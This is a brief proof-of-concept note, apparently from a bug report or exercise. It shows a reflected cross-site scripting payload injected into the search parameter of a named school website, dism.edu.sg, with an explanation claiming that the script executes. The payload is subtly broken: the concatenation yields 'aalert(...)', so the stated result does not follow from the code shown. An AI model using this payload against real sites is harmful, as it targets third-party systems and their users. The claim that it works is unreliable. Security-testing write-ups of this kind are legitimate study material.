

Syndica

Command

`https://dism.edu.sg/search?<script>eval("a"+"alert('xss_by_sam_tan')")</script>=script****`

Explanation

- The search parameter is vulnerable to reflected XSS.
- The payload `<script>eval("a"+"alert('xss_by_sam_tan')")</script>` is injected into the search parameter.
- When the search results are displayed, the script is executed, displaying an alert box with the message `xss_by_sam_tan`.
